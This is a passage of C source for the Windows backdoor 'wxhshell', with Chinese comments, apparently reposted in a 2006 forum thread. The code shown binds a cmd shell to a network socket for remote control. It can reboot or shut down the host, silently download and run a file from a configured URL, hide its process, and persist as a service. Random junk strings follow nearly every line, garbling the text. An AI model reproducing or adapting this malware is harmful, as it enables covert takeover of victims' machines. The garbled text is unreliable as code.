      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _ Y8j l,J  
    break; J*m ~fZ^  
  } 8c5%~}kG  
  // 安装 U~s-'-C /  
  case 'i': { +?bjP6w_g  
    if(Install()) -$tf`   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WNWtQ2]  
    else &LDA=B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q/^a(   
    break; Wk-jaz  
    } &.)ST0b4  
  // 卸载 z%~rQa./$  
  case 'r': { 7xoq:oP-}N  
    if(Uninstall()) l$J2|\M6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9f_Qs4  
    else qJYEsI2M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `z~L0h  
    break; r(DW,xoK0  
    } `PI?RU[g*  
  // 显示 wxhshell 所在路径 f}uW(:f  
  case 'p': { Lu9`(+  
    char svExeFile[MAX_PATH]; zIy&gOX  
    strcpy(svExeFile,"\n\r"); Rs;Y|W4'  
      strcat(svExeFile,ExeFile); I.hy"y2&  
        send(wsh,svExeFile,strlen(svExeFile),0); B f"L;L  
    break; S7f"\[Aw  
    } j5V{,lf  
  // 重启 WdJJt2'  
  case 'b': { r>Cv@4/j  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); . E? a  
    if(Boot(REBOOT)) {RHa1wc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); | rwx; +  
    else { 9MUg/  
    closesocket(wsh); p n(y4we  
    ExitThread(0); 3"p'WZ>  
    } ]=?.LMjnH  
    break; ^Q5advxuq  
    } 'NSfGC%7R  
  // 关机 &9Xn:<"`)  
  case 'd': { t2RL|$>F1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~Zo;LSI  
    if(Boot(SHUTDOWN)) @JU Xp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); prO ~g  
    else { IUSV\X9  
    closesocket(wsh); j+NsNIJq  
    ExitThread(0); a}5/?/  
    } VkZ3Q7d  
    break;  re@;6o  
    } EN;4EC7tE  
  // 获取shell "eZ~]m}L0  
  case 's': { UB3hC`N\  
    CmdShell(wsh); \CVrLn;}  
    closesocket(wsh); cs0rz= ZdH  
    ExitThread(0); \<Di |X1  
    break; p%ZAVd*|#V  
  } B(,j*,f  
  // 退出 RLR\*dL1  
  case 'x': { !T RU  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); E5 uk<e_  
    CloseIt(wsh); :@K~>^+U  
    break; $_Q]3"U  
    } a|kEza,]  
  // 离开 uQO\vRh0  
  case 'q': { Q 1[E iM3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "`Y.5.  
    closesocket(wsh); Y?xc#'  
    WSACleanup(); $n_ax\15  
    exit(1); iPdR;O'  
    break; Z:.*fs5  
        } Bnh*;J0  
  } RKD$'UWX  
  } E3QyiW  
d~z%kl 5:  
  // 提示信息 kadw1sYj  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -$ha@ bCWO  
} )| 0(#R  
  } L-VisZ-FK  
ujh`&GiB+  
  return; !;M5.Y1j&"  
} wH]Y1 m  
6@-O#,]J  
// shell模块句柄 @|d+T"f  
int CmdShell(SOCKET sock) PXo^SHJ+gt  
{ uL |O<  
STARTUPINFO si; 8om)A0S  
ZeroMemory(&si,sizeof(si)); oL -udH  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }E#1Z\)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $\q}A:  
PROCESS_INFORMATION ProcessInfo; )Ag{S[yZ  
char cmdline[]="cmd"; U)C>^ !Us  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e~PAi8B5  
  return 0; a 3C\?5  
} *nlDN4Y[  
Yge}P:d9  
// 自身启动模式 8B7~Nq'  
int StartFromService(void) XU6SYC"t%~  
{ /5m~t.Z9M  
typedef struct ]BaK8mPl  
{ |SuN3B4e  
  DWORD ExitStatus; l09SWug  
  DWORD PebBaseAddress; <~n%=^knE  
  DWORD AffinityMask; M sQ=1  
  DWORD BasePriority; BjV;/<bt  
  ULONG UniqueProcessId; uQiW{Kja2  
  ULONG InheritedFromUniqueProcessId; R/jHH{T3  
}   PROCESS_BASIC_INFORMATION; pP^5y{  
Y3bZ&G)  
PROCNTQSIP NtQueryInformationProcess; Y{OnW98  
Tzr'3m_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :&BE-f  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; F5%IsAH  
AYv7- !Yk  
  HANDLE             hProcess; ]:.9:RmEV  
  PROCESS_BASIC_INFORMATION pbi; x\5v^$  
0`Y"xN`'i  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @o>3 Bv.  
  if(NULL == hInst ) return 0; #PQhgli  
ky I~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z9JZV`dNgz  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _[,7DA.qc  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); xP $\ }  
%H3 M0J2L  
  if (!NtQueryInformationProcess) return 0; 7.bPPr&  
[WO>}rGw4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); x,UP7=6  
  if(!hProcess) return 0; V=)' CCi{  
/A93mY[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &VTO9d  
Ue(\-b\)  
  CloseHandle(hProcess); #Q$+AdY|  
M?QX'fia  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O6 n]l  
if(hProcess==NULL) return 0; Xd5uF/w  
M`H@ % M  
HMODULE hMod; hE;BT>_dn  
char procName[255]; G-5ezVli  
unsigned long cbNeeded; `Hd~H  
6"/4@?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4ZtsLMwLD  
I 8VCR8q  
  CloseHandle(hProcess); (w-@b70E  
[ps 5  
if(strstr(procName,"services")) return 1; // 以服务启动 PG@6*E  
5G l:jRu  
  return 0; // 注册表启动 30{WGc@l#  
} ~2[mZias  
:(#5%6F  
// 主模块 ahg]OWn#  
int StartWxhshell(LPSTR lpCmdLine) kHd`k.nW  
{ :5_394v  
  SOCKET wsl; 'M,O(utGv  
BOOL val=TRUE; o_n 3.O=  
  int port=0; dWiX_&g  
  struct sockaddr_in door; N1Dr'aw*  
X9;51JV  
  if(wscfg.ws_autoins) Install(); ;nAI;Qw L  
Zx)gLDd  
port=atoi(lpCmdLine); [Nu py,v  
nJY3 1(p  
if(port<=0) port=wscfg.ws_port; l`."rei%)  
;@H:+R+(  
  WSADATA data; c{[lT2yxU  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 75eZhs[b  
f47dB_{5f.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @0-vf>e3-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q,>4#J[2;s  
  door.sin_family = AF_INET; Q-Oj%w4e  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); YR u#JYti  
  door.sin_port = htons(port); aV#phP  
sPvjJr"s  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |>KOlwh5n  
closesocket(wsl); #3_ @aq*  
return 1; 6UM1>xq9A  
} UdcrX`^.  
gl 27&'?E*  
  if(listen(wsl,2) == INVALID_SOCKET) { -l ?\hmDl  
closesocket(wsl); $8`"  
return 1; SE6c3  
} 6 tl#AJ-  
  Wxhshell(wsl); %|'VucLx  
  WSACleanup(); rDv`E^\  
=b#:j:r  
return 0; 8/R9YiY5*  
`o?PLE;)p  
} s&1}^'|  
v\D.j4%ij  
// 以NT服务方式启动 N 5.kDT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) BH0s ` K"  
{ : ZadPn56  
DWORD   status = 0; C4)m4r%  
  DWORD   specificError = 0xfffffff; ;*cCaB0u  
FT\%=>{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #]r'?GN  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; U\-=|gQ'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p#6tKY;N  
  serviceStatus.dwWin32ExitCode     = 0; Hz j%G>  
  serviceStatus.dwServiceSpecificExitCode = 0; EkoT U#w5  
  serviceStatus.dwCheckPoint       = 0; ?X$*8;==6  
  serviceStatus.dwWaitHint       = 0; -|I_aOC@  
h_6c9VI  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); pd-I^Q3-  
  if (hServiceStatusHandle==0) return; c^stfFE&  
ydMSL25<+  
status = GetLastError(); U04&z 91"  
  if (status!=NO_ERROR) W0<2*7s  
{  vUR gR  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Xn02p,,  
    serviceStatus.dwCheckPoint       = 0; pO)5NbU  
    serviceStatus.dwWaitHint       = 0; D B(!*6#?  
    serviceStatus.dwWin32ExitCode     = status; v^B2etiX_  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^O,r8K{1n  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9# #(B  
    return; *d9RD~Ee  
  } Z29aRi  
#fb &51  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "(Nt9K%P)  
  serviceStatus.dwCheckPoint       = 0; Fz' s\  
  serviceStatus.dwWaitHint       = 0; 1p8hn!V  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); T\"-q4+=C  
} (wf3HEb_  
`%*`rtZ+H.  
// 处理NT服务事件,比如:启动、停止 a|z@5r%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) mDO! o  
{ 'xGTaKlm,  
switch(fdwControl) "O~kIT?/v  
{ -t: U4r(  
case SERVICE_CONTROL_STOP: "[0.a\ d<  
  serviceStatus.dwWin32ExitCode = 0; C8D`:k  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; SGu`vN]  
  serviceStatus.dwCheckPoint   = 0;  Z>pZ|  
  serviceStatus.dwWaitHint     = 0; Q 3/J @MC  
  { Y|buQQ|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A=wG};%_  
  } )r?- _qj=  
  return; sgRWjrc/  
case SERVICE_CONTROL_PAUSE: a%5/Oc[[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; + ]iK^y-.r  
  break; }ld^zyL  
case SERVICE_CONTROL_CONTINUE: ^U##9KkP  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; LCW}1H:Q  
  break; ;,s9jw  
case SERVICE_CONTROL_INTERROGATE: hii#kB2  
  break; C7K]c4T  
}; ""*g\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,c&gw tdl  
} ^I) +u>fJ  
^0-e.@  
// 标准应用程序主函数 {W HK|l   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) dWdD^>8Ef  
{ r1 b"ta  
6 [?5hmc"w  
// 获取操作系统版本 MaPI<kYQv  
OsIsNt=GetOsVer(); -A zOujSS  
GetModuleFileName(NULL,ExeFile,MAX_PATH); UG[r /w5(F  
~K"nm{.  
  // 从命令行安装 _fSBb<  
  if(strpbrk(lpCmdLine,"iI")) Install(); RFX{]bQp9  
(T%Ue2zlY  
  // 下载执行文件 qae|?z  
if(wscfg.ws_downexe) { P3nBxw"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) rA E5.Q!u  
  WinExec(wscfg.ws_filenam,SW_HIDE); AH_qZTv0{Q  
} Wb[k2V  
3O;"{E= <  
if(!OsIsNt) { wB&5q!{!  
// 如果时win9x,隐藏进程并且设置为注册表启动 X4{<{D`0t8  
HideProc(); S&QXf<v  
StartWxhshell(lpCmdLine); BWNI|pq)v  
} 3W{ !\  
else nLx|$=W  
  if(StartFromService()) 6OoOkNWF  
  // 以服务方式启动 6b9J3~d\E  
  StartServiceCtrlDispatcher(DispatchTable); a$Hq<~46  
else ~+ 9v z  
  // 普通方式启动 _?bO /y_y  
  StartWxhshell(lpCmdLine); Ubgn^+AI  
7D1$cmtH  
return 0; V7.g,  
}
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只看该作者 1 发表于: 2006-10-10
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